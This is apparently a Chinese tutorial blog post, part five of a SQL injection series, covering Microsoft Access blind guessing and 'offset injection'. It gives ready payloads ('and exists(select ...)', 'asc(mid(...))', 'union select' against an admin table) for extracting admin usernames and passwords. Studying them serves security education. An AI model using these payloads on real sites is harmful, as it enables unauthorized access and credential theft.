SQL注入总结(五)

常见的搭建组合:

脚本格式

数据库

搭建品台

操作系统

Asp

Access,SqlServer

IIS

Windows

Php

Mysql,postsql

Apache,IIS

Windows,linux

Aspx

SqlServer

IIS

Windows

Jsp

Oracle,SqlServer

IIS,tomcat

Windows,linux

Access注入:

Access数据库是微软发布的,轻快小巧

结构:数据库==》表名==》列名==》数据

和mysql数据库不同的是,mysql数据库中有information_schema表,可以使用联合查询来查询敏感表中的敏感数据,access数据库中没有information_schema表,因此access数据库的注入,只能靠暴力猜解的形式进行

猜数据表:and exists(select * from user)是否存在user表

猜解数据列:and exists(select admin from user)是否存在admin列

猜解数据列的长度:and (select top 1 len(admin)from user)> 3

猜解出admin列内容长度

猜解数据列的内容:and (select top 1 asc(mid(admin,1,1)) from admin)> 97  猜解出admin列的内容

可以选择sqlmap进行暴力破解

Access偏移注入:

偏移注入原理:借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示

偏移注入的用途:

解决知道access数据库中知道表名,但是得不到字段的sql注入困境

偏移注入的特点:

A:成功与否看技巧和运气,不能100%成功

B:无需管理员账号密码字段,直接爆账号密码

偏移注入的利用条件:

A:已知管理表名

B:已知任意字段(一个或多个会增加机率,最常见的就是id)

影响偏移注入的成功率的因素:

A:管理表的字段数越少越好(最好是三个:id 账号 密码)

B:当前注入点的脚本内容查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)

C:已知的字段数越多越好(id一般存在)

偏移注入的一般流程:
1.判断字段数

2.判断表名

3.开始偏移注入

举例:

1.首先用order by 判断字段数

Id=1 order by 5

2.用union select 爆字段显示位

Id=1 union select 1,2,3,4,5 from admin

假设爆出字段显示位为2,3,列名为 username,password

Id=1 union select 1,username,password,4,5 from admin

这样就可以得到username,password的值了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值